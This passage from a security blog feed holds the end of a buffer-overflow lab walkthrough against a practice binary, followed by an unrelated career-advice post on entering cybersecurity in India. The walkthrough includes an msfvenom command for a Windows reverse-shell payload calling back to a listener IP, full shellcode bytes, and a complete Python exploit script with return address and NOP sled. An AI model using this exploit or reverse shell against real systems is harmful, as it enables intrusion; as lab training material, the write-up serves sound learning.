    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">1978</span> + <span class="hljs-string">b'\xaf\x11\x50\x62'</span> + badchars]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things, so we will join this using the join function.</span>

    s.send(payload)
    s.close()

<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>Run the <code>script2.py</code></p>
<p>Check immunity debugger.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254686616/b7a7f474-6455-4be5-ac8f-a8b124f809d3.png" alt class="image--center mx-auto" /></p>
<p>Follow in dump</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254688196/3e201593-2d4f-472a-9298-19b672fac7c7.png" alt class="image--center mx-auto" /></p>
<p>Now we need to check the hex dump and find the bad characters.</p>
<p>As highlighted below, the actual sequence is 05 06, so it should be 07 08, but it is 0A and 0D.</p>
<p><strong>Therefore, 07 and 08 are bad characters.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254689815/fc1db612-46f8-44ca-bcf9-519678c53576.png" alt class="image--center mx-auto" /></p>
<p>Again found</p>
<p>2C 2D, ideally it should be 2E 2F, but it's 0A, which means</p>
<p>2E and 2F are bad characters.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254691857/d6d0623c-c2f8-4137-8471-2450b6424f8f.png" alt class="image--center mx-auto" /></p>
<p>We found these many bad characters.</p>
<blockquote>
<p><code>\x07\x08\x2e\x2f\xa0\xa1\x00</code></p>
</blockquote>
<p>Now Again generate the payload excluding this bad characters.</p>
<pre><code class="lang-bash">msfvenom -p windows/shell_reverse_tcp LHOST=10.11.48.237 LPORT=2306 -f py -b “\x07\x08\x2e\x2f\xa0\xa1\x00”
</code></pre>
<p>New Payload which doesn’t have the bad characters.</p>
<p><strong>Remove the bad characters</strong> and paste this in <code>script2.py</code></p>
<pre><code class="lang-python">buf = <span class="hljs-string">b""</span>
buf += <span class="hljs-string">b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"</span>
buf += <span class="hljs-string">b"\x81\x76\x0e\x6e\x97\x03\xdf\x83\xee\xfc\xe2\xf4"</span>
buf += <span class="hljs-string">b"\x92\x7f\x81\xdf\x6e\x97\x63\x56\x8b\xa6\xc3\xbb"</span>
buf += <span class="hljs-string">b"\xe5\xc7\x33\x54\x3c\x9b\x88\x8d\x7a\x1c\x71\xf7"</span>
buf += <span class="hljs-string">b"\x61\x20\x49\xf9\x5f\x68\xaf\xe3\x0f\xeb\x01\xf3"</span>
buf += <span class="hljs-string">b"\x4e\x56\xcc\xd2\x6f\x50\xe1\x2d\x3c\xc0\x88\x8d"</span>
buf += <span class="hljs-string">b"\x7e\x1c\x49\xe3\xe5\xdb\x12\xa7\x8d\xdf\x02\x0e"</span>
buf += <span class="hljs-string">b"\x3f\x1c\x5a\xff\x6f\x44\x88\x96\x76\x74\x39\x96"</span>
buf += <span class="hljs-string">b"\xe5\xa3\x88\xde\xb8\xa6\xfc\x73\xaf\x58\x0e\xde"</span>
buf += <span class="hljs-string">b"\xa9\xaf\xe3\xaa\x98\x94\x7e\x27\x55\xea\x27\xaa"</span>
buf += <span class="hljs-string">b"\x8a\xcf\x88\x87\x4a\x96\xd0\xb9\xe5\x9b\x48\x54"</span>
buf += <span class="hljs-string">b"\x36\x8b\x02\x0c\xe5\x93\x88\xde\xbe\x1e\x47\xfb"</span>
buf += <span class="hljs-string">b"\x4a\xcc\x58\xbe\x37\xcd\x52\x20\x8e\xc8\x5c\x85"</span>
buf += <span class="hljs-string">b"\xe5\x85\xe8\x52\x33\xff\x30\xed\x6e\x97\x6b\xa8"</span>
buf += <span class="hljs-string">b"\x1d\xa5\x5c\x8b\x06\xdb\x74\xf9\x69\x68\xd6\x67"</span>
buf += <span class="hljs-string">b"\xfe\x96\x03\xdf\x47\x53\x57\x8f\x06\xbe\x83\xb4"</span>
buf += <span class="hljs-string">b"\x6e\x68\xd6\x8f\x3e\xc7\x53\x9f\x3e\xd7\x53\xb7"</span>
buf += <span class="hljs-string">b"\x84\x98\xdc\x3f\x91\x42\x94\xb5\x6b\xff\x09\xd4"</span>
buf += <span class="hljs-string">b"\x5e\x7a\x6b\xdd\x6e\x9e\x01\x56\x88\xfd\x13\x89"</span>
buf += <span class="hljs-string">b"\x39\xff\x9a\x7a\x1a\xf6\xfc\x0a\xeb\x57\x77\xd3"</span>
buf += <span class="hljs-string">b"\x91\xd9\x0b\xaa\x82\xff\xf3\x6a\xcc\xc1\xfc\x0a"</span>
buf += <span class="hljs-string">b"\x06\xf4\x6e\xbb\x6e\x1e\xe0\x88\x39\xc0\x32\x29"</span>
buf += <span class="hljs-string">b"\x04\x85\x5a\x89\x8c\x6a\x65\x18\x2a\xb3\x3f\xde"</span>
buf += <span class="hljs-string">b"\x6f\x1a\x47\xfb\x7e\x51\x03\x9b\x3a\xc7\x55\x89"</span>
buf += <span class="hljs-string">b"\x38\xd1\x55\x91\x38\xc1\x50\x89\x06\xee\xcf\xe0"</span>
buf += <span class="hljs-string">b"\xe8\x68\xd6\x56\x8e\xd9\x55\x99\x91\xa7\x6b\xd7"</span>
buf += <span class="hljs-string">b"\xe9\x8a\x63\x20\xbb\x2c\xf3\x6a\xcc\xc1\x6b\x79"</span>
buf += <span class="hljs-string">b"\xfb\x2a\x9e\x20\xbb\xab\x05\xa3\x64\x17\xf8\x3f"</span>
buf += <span class="hljs-string">b"\x1b\x92\xb8\x98\x7d\xe5\x6c\xb5\x6e\xc4\xfc\x0a"</span>
</code></pre>
<p>Now the script is</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys

<span class="hljs-comment"># Bad characters</span>
buf = <span class="hljs-string">b""</span>

buf += <span class="hljs-string">b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"</span>
buf += <span class="hljs-string">b"\x81\x76\x0e\x6e\x97\x03\xdf\x83\xee\xfc\xe2\xf4"</span>
buf += <span class="hljs-string">b"\x92\x7f\x81\xdf\x6e\x97\x63\x56\x8b\xa6\xc3\xbb"</span>
buf += <span class="hljs-string">b"\xe5\xc7\x33\x54\x3c\x9b\x88\x8d\x7a\x1c\x71\xf7"</span>
buf += <span class="hljs-string">b"\x61\x20\x49\xf9\x5f\x68\xaf\xe3\x0f\xeb\x01\xf3"</span>
buf += <span class="hljs-string">b"\x4e\x56\xcc\xd2\x6f\x50\xe1\x2d\x3c\xc0\x88\x8d"</span>
buf += <span class="hljs-string">b"\x7e\x1c\x49\xe3\xe5\xdb\x12\xa7\x8d\xdf\x02\x0e"</span>
buf += <span class="hljs-string">b"\x3f\x1c\x5a\xff\x6f\x44\x88\x96\x76\x74\x39\x96"</span>
buf += <span class="hljs-string">b"\xe5\xa3\x88\xde\xb8\xa6\xfc\x73\xaf\x58\x0e\xde"</span>
buf += <span class="hljs-string">b"\xa9\xaf\xe3\xaa\x98\x94\x7e\x27\x55\xea\x27\xaa"</span>
buf += <span class="hljs-string">b"\x8a\xcf\x88\x87\x4a\x96\xd0\xb9\xe5\x9b\x48\x54"</span>
buf += <span class="hljs-string">b"\x36\x8b\x02\x0c\xe5\x93\x88\xde\xbe\x1e\x47\xfb"</span>
buf += <span class="hljs-string">b"\x4a\xcc\x58\xbe\x37\xcd\x52\x20\x8e\xc8\x5c\x85"</span>
buf += <span class="hljs-string">b"\xe5\x85\xe8\x52\x33\xff\x30\xed\x6e\x97\x6b\xa8"</span>
buf += <span class="hljs-string">b"\x1d\xa5\x5c\x8b\x06\xdb\x74\xf9\x69\x68\xd6\x67"</span>
buf += <span class="hljs-string">b"\xfe\x96\x03\xdf\x47\x53\x57\x8f\x06\xbe\x83\xb4"</span>
buf += <span class="hljs-string">b"\x6e\x68\xd6\x8f\x3e\xc7\x53\x9f\x3e\xd7\x53\xb7"</span>
buf += <span class="hljs-string">b"\x84\x98\xdc\x3f\x91\x42\x94\xb5\x6b\xff\x09\xd4"</span>
buf += <span class="hljs-string">b"\x5e\x7a\x6b\xdd\x6e\x9e\x01\x56\x88\xfd\x13\x89"</span>
buf += <span class="hljs-string">b"\x39\xff\x9a\x7a\x1a\xf6\xfc\x0a\xeb\x57\x77\xd3"</span>
buf += <span class="hljs-string">b"\x91\xd9\x0b\xaa\x82\xff\xf3\x6a\xcc\xc1\xfc\x0a"</span>
buf += <span class="hljs-string">b"\x06\xf4\x6e\xbb\x6e\x1e\xe0\x88\x39\xc0\x32\x29"</span>
buf += <span class="hljs-string">b"\x04\x85\x5a\x89\x8c\x6a\x65\x18\x2a\xb3\x3f\xde"</span>
buf += <span class="hljs-string">b"\x6f\x1a\x47\xfb\x7e\x51\x03\x9b\x3a\xc7\x55\x89"</span>
buf += <span class="hljs-string">b"\x38\xd1\x55\x91\x38\xc1\x50\x89\x06\xee\xcf\xe0"</span>
buf += <span class="hljs-string">b"\xe8\x68\xd6\x56\x8e\xd9\x55\x99\x91\xa7\x6b\xd7"</span>
buf += <span class="hljs-string">b"\xe9\x8a\x63\x20\xbb\x2c\xf3\x6a\xcc\xc1\x6b\x79"</span>
buf += <span class="hljs-string">b"\xfb\x2a\x9e\x20\xbb\xab\x05\xa3\x64\x17\xf8\x3f"</span>
buf += <span class="hljs-string">b"\x1b\x92\xb8\x98\x7d\xe5\x6c\xb5\x6e\xc4\xfc\x0a"</span>

<span class="hljs-keyword">try</span>:
    s = socket.socket()  <span class="hljs-comment"># use to connect the machine</span>
    s.connect((<span class="hljs-string">"10.10.70.85"</span>, <span class="hljs-number">1337</span>))  <span class="hljs-comment"># connect is a function</span>
    s.recv(<span class="hljs-number">1024</span>)  <span class="hljs-comment"># 1024 bytes</span>

    <span class="hljs-comment"># Payload including padding (NOP sled) and the buffer of bad characters</span>
    payload = [<span class="hljs-string">b'OVERFLOW1 '</span> + <span class="hljs-string">b'A'</span> * <span class="hljs-number">1978</span> + <span class="hljs-string">b'\xaf\x11\x50\x62'</span> + <span class="hljs-string">b'\x90'</span> * <span class="hljs-number">16</span> + buf]  <span class="hljs-comment"># as we are using python3 we need to mention the strings in bytes</span>
    payload = <span class="hljs-string">b""</span>.join(payload)  <span class="hljs-comment"># as the above payload consists of 2 things, so we will join this using the join function.</span>

    s.send(payload)
    s.close()

<span class="hljs-keyword">except</span>:
    print(<span class="hljs-string">"cannot connect to the server Akbar"</span>)  <span class="hljs-comment"># error message if it can't connect</span>
    sys.exit()
</code></pre>
<p>One last thing we need to add is a NOP sled <code>\x90</code>. It is placed between the jump and the payload. We need some space between the jump and the payload to get the reverse shell, so we add <code>\x90</code> for padding.</p>
<p>Now, we don't need the immunity debugger. I found my bad character and my jump address, so I will run the program and execute our script.</p>
<p>Running <code>oscp.exe</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254693397/bcf115b2-c4b8-47c3-96ff-47b0571d4494.png" alt class="image--center mx-auto" /></p>
<p>Listener in place.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254694747/7fa0d10c-b719-4a69-91f3-cbffbac7092f.png" alt class="image--center mx-auto" /></p>
<p>Run the <code>script2.py</code> for the last time.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254696110/abb51f8e-aba5-4520-b991-755711d6f151.png" alt class="image--center mx-auto" /></p>
<p>BOOOOMMMMMMM!!!!!!!!!!!!!!!!!!!!!!!!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1694254698286/ca4c3ef5-f9e4-40ef-8875-65cc95fc3b7d.png" alt class="image--center mx-auto" /></p>
<p>And we got the shell.</p>
<p><em>Thank you for reading this blog. While attempting this challenge, I learned many things. This was a unique target with a unique vulnerability.</em></p>
]]></content:encoded></item><item><title><![CDATA[How to break into Cyber Security]]></title><description><![CDATA[Hello, I am Rehan Shaikh, a Cyber Security Analyst at TCS. I also volunteer with a local cybersecurity meetup group called BreachForce. I recently graduated from college and secured my job at TCS as a fresher. It might sound unbelievable, but it's tr...]]></description><link>https://breachforce.net/cybersecurity-job-advice</link><guid isPermaLink="true">https://breachforce.net/cybersecurity-job-advice</guid><category><![CDATA[indian job market]]></category><category><![CDATA[entry-level roles]]></category><category><![CDATA[cybersecurity domain]]></category><category><![CDATA[cybersecurity journey]]></category><category><![CDATA[white team]]></category><category><![CDATA[cyber security]]></category><category><![CDATA[TCS]]></category><category><![CDATA[breachforce]]></category><category><![CDATA[fresher]]></category><category><![CDATA[job-market]]></category><category><![CDATA[Cybersecurity Landscape]]></category><category><![CDATA[work experience]]></category><category><![CDATA[LinkedIn]]></category><category><![CDATA[red team]]></category><category><![CDATA[blueteam]]></category><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Tue, 07 Jan 2025 04:30:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/-NwD_UggDGs/upload/56e9358488436e969f25e553180e8f2e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, I am Rehan Shaikh, a Cyber Security Analyst at TCS. I also volunteer with a local cybersecurity meetup group called BreachForce. I recently graduated from college and secured my job at TCS as a fresher. It might sound unbelievable, but it's true - you can get a job in cybersecurity as a newcomer. I did it, and you can too. If you're a fresher struggling to break into the cybersecurity landscape or an experienced professional looking to pivot into this field, this blog will provide clarity on the Indian job market for cybersecurity.</p>
<p>In the cybersecurity domain, jobs are categorized into teams based on their responsibilities. Depending on which team you work with, your duties may vary. These teams are:</p>
<ul>
<li><p><strong>Red Team</strong>: This team is responsible for attacking into (hacking) the organization. We call them the attackers. Their job is to simulate real-world attacks by identifying paths that a potential attacker could use to compromise the organization.</p>
</li>
<li><p><strong>Blue Team</strong>: This team is responsible for protecting (defending) the organization. We call them the defenders. Their role is to safeguard the organization from external threat actors (malicious hackers).</p>
</li>
<li><p><strong>White Team</strong>: This team is responsible for assessing (inspecting) the organization's security posture. We call them auditors. Their job is to inspect the systems, networks, and other security controls used by the organization.</p>
</li>
</ul>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdjnSnU4RqSxKSdM5pFjSXXjWuXLaE2YxngTKGfYZxwT3MlNVMu-ClA8cNzpC-UU418eYuMZ6QRL05cIevdSMxLvGuTJmceM7icJSqr54OdFTZ6D2y1PbiDN6uk0cdmRdcXYYYCGwJLhG0cBo1TXrWxTA1h?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<p>In cybersecurity, job opportunities are limited. Despite what you might hear online, be aware that the number of positions is restricted, especially for red team roles such as penetration testers or red teamers. The majority of openings in the cybersecurity domain are for blue team roles, like Junior SOC Analysts or SOC L1 positions. There are even fewer roles available for white team positions, such as ISO Auditors.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf0B_D1VxU0woQz0V1MtrVemAV_gPyqfdiahXGgOVCKRMVMv_TeRu4NYvNPgWZ7CbcvKLR-1btESMpvhgcahDdC0wljvn6kwaBwvIGsN0e3zohknRfv1ttd3hbLbFlkVfEhF3Ojfo_PC3yZ-1yGm6m-LL_a?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<p>This blog will be divided into two sections:</p>
<ul>
<li><p><strong>Getting a job as a fresher</strong></p>
</li>
<li><p><strong>Getting a job as an experienced professional</strong></p>
</li>
</ul>
<h2 id="heading-getting-job-as-a-fresher">Getting job as a fresher</h2>
<h3 id="heading-freshers-dilemma-breaking-into-cybersecurity"><strong>Freshers’ Dilemma: Breaking Into Cybersecurity</strong></h3>
<p>The cybersecurity job market is tough for freshers—and that’s a fact! Most entry-level roles require some form of work experience in domains like Helpdesk/IT Support, Web Development, or Network/System Administration.</p>
<p>Now, the question is, how do you get a job as a fresher? Isn’t it impossible since recruiters are looking for experienced professionals, even for entry-level roles? Is it a lost cause? Not at all! You can still get a job as a fresher, but you'll have to hustle a bit more than the seasoned pros. Keep this mantra in mind: <em>"Having work experience doesn’t necessarily mean having knowledge."</em> I might have one year of work experience, but I still might not know how to install Python. You’ll encounter situations like this often, especially in the Indian corporate world, where there’s a tendency to exaggerate skills on resume.</p>
<p>The best way to compete with working professionals is by showcasing your deep understanding of concepts in your domain and your ability to learn new concepts quickly across various fields.</p>
<p>Additionally, you may come across situations where a large number of applicants apply for junior or intern roles in cybersecurity. It can feel overwhelming to see such numbers, and you might lose hope of being selected. But don't worry - most applicants lack a fundamental understanding of cybersecurity. Many individuals applied simply because online influencers promoted the notion of abundant job opportunities in the field..</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfU1TgIMWVMoVMMPI3iuoeIGWz7svMIsCnLRtDD-NrpuF8yewb3r36-pohgaKj8gcBs8LFxSFYV9U4zHK4SfR2NSCcj7aszqCTXSgEXUWNemeODpwK3ZcTNwSHfG4kEevS_y_gjiVDW5GTbbXSJ4If5uk4e?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<h3 id="heading-recruiters-dilemma-hiring-the-right-talent"><strong>Recruiter’s Dilemma: Hiring the Right Talent</strong></h3>
<p>Before attempting to hack anything, it’s essential to study the entire product, understand its functionality, and learn how it works. Similarly, before <em>"hacking"</em> your way into landing a job, let's first understand the mindset of a recruiter.</p>
<p>As a recruiter, imagine I’ve posted a job opening for an entry-level role in cybersecurity, outlining the roles and responsibilities. Within a few hours, I received over 400 applications for the position.</p>
<p>Faced with such a large pool of applicants, I’d find myself in a dilemma: Who is the right candidate for the company? Who is honest about their skills, and who is exaggerating? How do I select the best candidates? This is why I’ll focus on one crucial section of the resume: the skills section. Do the skills listed in the resume match the job description? If they do, I’ll consider that candidate. However, what if someone is exaggerating their skills? I’ll schedule an interview to find out if they are a hecker or heckler.</p>
<p>I’ll narrow down the applicants by comparing the skills mentioned in the job description (JD) against those listed in their resumes. After this initial process, I’ll be left with around 100 candidates.</p>
<p>Next, I’ll schedule interviews with the remaining candidates to test their skills. Keep in mind, I’m looking for the best of the best. The interview will allow me to see if candidates truly possess the knowledge and skills they claim. I’ll be looking for those who can "put their money where their mouth is."</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfk6TNCTWAPEyLGYmZejlmVfYJOywoPnmBp2y_DMCIWqNA9rPRQWzRX2SoQi-qrEw_HZC4pTExWvLZKtRDebB8m_F6EW_wkUkPSNUaKynodrI3AqAPqiwh-rG3A6LviQLEcpiXvPkJQIOGQGPLOLHiMTeZe?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<p>During the interview process, besides educational qualifications and skills, I’ll also look at their achievements. What distinguishes them from other candidates? What unique qualities or experiences do they bring to the table? These factors will help me select the right candidates.</p>
<p>So, what are those distinguishing parameters? Lets study them in detail.</p>
<h3 id="heading-how-recruiters-distinguish-the-best-candidates"><strong>How Recruiters Distinguish the Best Candidates</strong></h3>
<ul>
<li><p><strong>Bug Bounties:</strong> Do candidates have bug bounty experience as freshers? Bug bounty hunting involves identifying security flaws, known as "bugs," in popular websites and receiving rewards, or "bounties," from organizations for these findings. By participating in bug bounties, you can earn monetary rewards while building a solid profile within the bug bounty community.</p>
<p>  Don't worry if your bug bounty report is a duplicate—it can still help you stand out from other candidates. Be sure to highlight your bug bounty achievements in both your resume and during your interview.</p>
<p>  <img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXe9zEPeXfv-7xTKuT8nEKBOwShYdclbJfOmrMJHgeTxWQPmnYYBZL_jFjiK2QA-i14Q6MOgJ-jmPYN_WjrV9CYzWjZcyXv_WZA_K1lDipF0Ud2YwkRbdSsvma_mJgT1TCUakG1KDMzlwvZ1F9GbJOOHoIs?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<p>  Some companies even hire bug bounty hunters based on their profiles on platforms like <a target="_blank" href="https://hackerone.com">HackerOne</a>, <a target="_blank" href="https://bugcrowd.com">Bugcrowd</a>, or <a target="_blank" href="https://intigriti.com">Intigriti</a>. These platforms host bug bounty programs for well-known websites. By participating in these programs, you can be rewarded for finding and reporting bugs. Stay on the lookout for public programs, Vulnerability Disclosure Programs (VDPs), or private programs on these platforms.</p>
</li>
<li><p><strong>CVEs:</strong>  Do candidates have experience finding CVEs in applications or products? Vulnerabilities are security flaws in application software that can compromise the confidentiality, integrity, and availability of systems, companies, or individuals. Finding and reporting CVEs (Common Vulnerabilities and Exposures) involves identifying these vulnerabilities, reporting them to the vendor and the National Institute of Standards and Technology (NIST), and receiving a CVE-ID (an identification number assigned to the vulnerability). The vulnerability is then added to the National Vulnerability Database (NVD).</p>
<p>  Experience with finding CVEs indicates that a candidate is well-versed in research. Such candidates are particularly valuable when targeting product-based companies as a cybersecurity researcher. A good way to find CVEs is by identifying vulnerabilities in open-source software. This can earn you recognition from both the open-source and cybersecurity communities, which you can highlight on your resume.</p>
</li>
<li><p><strong>CTFs:</strong>  Do candidates have experience participating in Capture The Flag (CTF) competitions? CTFs are contests where participants solve challenges across various categories, such as OSINT, Web, Reverse Engineering, and Forensics, to test their skills and competency. The first person to solve a challenge often receives a "first blood" badge (typically reserved for exceptionally difficult challenges). Participants earn points based on the number of challenges solved, which contribute to their overall score. CTF organizers maintain a leaderboard to rank candidates by their scores. The top 3 score holders on the leaderboard are awarded by the organizing team once the CTF competition ends.</p>
<p>  Participation in CTFs demonstrates a candidate's proficiency in critical thinking, research, and application. High rankings in CTF competitions, whether local (Indian-based) or global, attract the attention of HR professionals and indicate that a candidate is among the top performers worldwide. Unlike other candidates, those who excel in CTFs are actively testing their skills against many peers. You can find CTF competitions listed on <a target="_blank" href="https://ctftime.org">ctftime.org</a> or <a target="_blank" href="https://ctf.hackthebox.com">ctf.hackthebox.com</a>. I recommend starting by playing solo to develop your skills; once you feel more confident, search for a team and participate with them.</p>
<p>  Some companies, including TCS, KPMG, Payatu, and Cloudsek, specifically recruit through CTF competitions. Therefore, it’s highly beneficial to highlight your CTF rankings on your resume.</p>
</li>
</ul>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXf4SEJn23L4f0H6-25vV6gq9pb72M_w4GHGdpjRyLgfpz8esv-e1OvqFV0IFh5kes9_tUxP3OeokSAS7_kdOqCRMKYEVK9etB9ZS7jVV7DOXBUQHoo9mqTt4ggAx4bcJaph5MsqN94qxy2RCjqwSdK1BkHV?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Internships:</strong> Do candidates have prior internship experience related to cybersecurity? Internship experience, regardless of its duration (whether 3 months or 6 months), plays a crucial role in the selection process. Recruiters often prefer candidates who have some experience, as it minimizes the time and effort needed to train someone from scratch. They look for individuals who are already familiar with corporate culture, client interactions, and job responsibilities.<br />  To gain internship experience, consider targeting cybersecurity startups. These companies often offer valuable hands-on experience and can be more flexible in providing opportunities. Be sure to highlight your internship experience as an achievement on your resume, as it demonstrates your practical knowledge in the field.<br />  If you haven’t secured an internship in the corporate world, consider exploring unpaid internships. Three notable options are:</p>
<ul>
<li><p><strong>Gurugram Police Cyber Security Summer Internship Program:</strong> This program typically starts in June. For more details, check the official handle of <a target="_blank" href="https://www.instagram.com/rakshit.tandon/p/C6iLq5dpZza/?hl=en">Dr. Rakshit Tandon</a> who is the brains behind this amazing endaevor for updates.</p>
</li>
<li><p><strong>Maharashtra Cyber Cell Internship Program:</strong> Information about this program is available on the <a target="_blank" href="https://www.instagram.com/mahacyber/p/Crk-8n1Mpkt/">Maharashtra Cyber Cell’</a>s official Instagram handle.</p>
</li>
<li><p><strong>Cyber Secured India Internship Program:</strong> This program, led by Nikhil Mahadeshvar, offers an exciting opportunity for mentorship by experts and practical exams that simulate real-world scenarios—all for free. This deserves an honorable mention. The updates are available on <a target="_blank" href="https://www.linkedin.com/company/cybersecuredindia/">Cyber Secured India’</a>s official handle.</p>
</li>
</ul>
</li>
</ul>
<p>    These internships offer valuable experience and can be a great addition to your resume if you're looking to build your cybersecurity skills.</p>
<ul>
<li><p><strong>Certifications:</strong> Do candidates hold any cybersecurity certifications? Certifications play a crucial role in the cybersecurity domain as they offer third-party validation of a candidate's skills. However, not all certifications are equally valued by recruiters. The certifications most recognized by HR professionals for different roles include <a target="_blank" href="https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/">CEH (Certified Ethical Hacker)</a>, <a target="_blank" href="https://www.comptia.org/certifications/security">Security+</a>, and <a target="_blank" href="https://www.offsec.com/courses/pen-200/">OSCP (Offensive Security Certified Professional)</a>.</p>
<p>  If you’re unsure which certification to pursue or want to learn more about the certification landscape, feel free to share this blog with your peers or give me a shoutout on LinkedIn. I’ll gladly create another blog focused on cybersecurity certifications.</p>
<p>  Moreover, certifications are especially important in consultancy firms, as they play a key role in securing projects from clients</p>
<p>  <img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcJxRlN57at1HeDXqXL5rEIhj_Ynq-c07Z220BJKJEfayei6hGzqnZdO75yDvhN5kevfO-Xcn3hG17DMVWsviW4Az5u8sYinC6n55koiySVdE22GKqJ5Vd7UtlshyAvitWtwdxjHw?key=3gOFOX0ceCJGXaN4sO2EZg" alt="Kylo understands : r/cybersecurity" class="image--center mx-auto" /></p>
</li>
<li><p><strong>Degree:</strong>  Does the candidate have a degree in the cybersecurity domain? Do degrees matter? The answer is both yes and no—it depends on the recruiter. Candidates with a specialization in cybersecurity often receive higher priority compared to those with degrees in IT or Computer Science Engineering (CSE). It’s a hard pill to swallow, but it reflects the current hiring trends. However, don’t lose hope! You can always work on developing the other factors that set you apart and make you a strong candidate for cybersecurity roles.</p>
</li>
<li><p><strong>Training Platforms:</strong> Does the candidate have a profile on cybersecurity training platforms? Platforms like <a target="_blank" href="https://tryhackme.com/r/dashboard"><strong>TryHackMe</strong></a>, <a target="_blank" href="https://www.hackthebox.com/"><strong>Hack The Box (HTB)</strong></a>, or <a target="_blank" href="https://portswigger.net/web-security/dashboard"><strong>PortSwigger Academy</strong></a> provide freshers with opportunities to practice and hone their skills. These platforms offer hands-on labs and study materials, enabling users to legally hack systems or defend them, simulating real-world scenarios. Rankings on platforms like TryHackMe or HTB carry significant weight with recruiters, especially those with technical expertise.</p>
<p>  Additionally, an impressive HTB ranking can open doors to remote job opportunities globally. If you have notable rankings or achievements on these platforms, be sure to highlight them in your resume</p>
<p>  <img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfSXYF5D64C_-oizBBxgQzRqX8g8GXw5fXAbjeCK3KFemnkI7LBlJAzjob0sudIo7-kMUNkZKBgG5u01hLy9VugdXVEd8bR85LOoAMT8fej6HMNuWDTp71BgDiWssJEAOBN9EdCGw?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Projects:</strong> Has the candidate worked on any cybersecurity projects? Projects are especially important for freshers as they demonstrate a genuine passion for the field. Projects tailored to different roles can capture the attention of recruiters and show that the candidate is committed to developing practical skills.</p>
<p>  Examples of valuable projects include setting up a home lab, building a keylogger, or creating a SIEM (Security Information and Event Management) monitoring system. These projects not only showcase technical abilities but also set you apart from other candidates. Be sure to build meaningful projects, showcase them on GitHub, and include them in your resume to enhance your candidacy.</p>
</li>
<li><p><strong>Referrals</strong>: Does the candidate have a referral from an employee of the company? Referrals are incredibly valuable, especially in the competitive cybersecurity job market. They indicate that the candidate has relevant skills and is endorsed by someone within the company. As the saying goes, “In cybersecurity, you need to polish your networking skills, both technically and figuratively.”</p>
<p>  Building a strong network makes it easier to receive referrals from employees across organizations. In many cases, a referral can help you bypass the CV selection stage and move directly to the technical or HR interview round. Your network significantly impacts your career, establishing your "net worth" in the industry. Communities play a key role in this, which we'll explore further in the next point.</p>
<p>  <img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfedXzMceSNbhH8gEY5eYzFkuNcTkq3Jnux4IfXk8xUvDzQ5sx1l7MR4-my9nHAQPYSnxOgumV-EWxZTUgeGBRbMoueKZu1F6y0nuJQNyPy5w2h18B76xnuh_KmpqcexZ-L7Ub4CQ?key=3gOFOX0ceCJGXaN4sO2EZg" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Communities</strong>: Is the candidate involved in any cybersecurity communities? Communities play a vital role in expanding your network, connecting with like-minded peers, and gaining referrals from experienced professionals. Attending or speaking at conferences and events organized by these communities allows you to interact with individuals from various cybersecurity domains. Presenting at a local chapter event boosts your confidence, showcases your skills to recruiters, and attracts interest from industry professionals.</p>
<p>  <a target="_blank" href="https://linktr.ee/breachforce"><strong>Breachforce</strong></a> is one such community where you can learn new technologies, network with others, and exchange knowledge. If you come across any events hosted by Breachforce, be sure to check them out. Additionally, look for local chapters of cybersecurity communities in your area on LinkedIn. Volunteering at these communities can also help you develop valuable soft skills like teamwork, communication, coordination, leadership, and decision-making.</p>
<p>  So far, I’ve covered numerous points that can help you enhance your resume and stand out from the competition in the cybersecurity job market. Many of these strategies also apply to working professionals looking to further their careers or transition into the cybersecurity field.</p>
</li>
</ul>
<h2 id="heading-getting-job-as-a-working-professional">Getting job as a working professional</h2>
<p>As a working professional, you likely have valuable work experience that can strengthen your resume. HR’s highly value work experience, especially in cybersecurity. Whether you're looking to pivot from your current career into cybersecurity or transition from a non-tech domain to a tech-focused role, your prior experience can be a major asset.</p>
<p>Below are key factors that can help you stand out from other candidates:</p>
<ul>
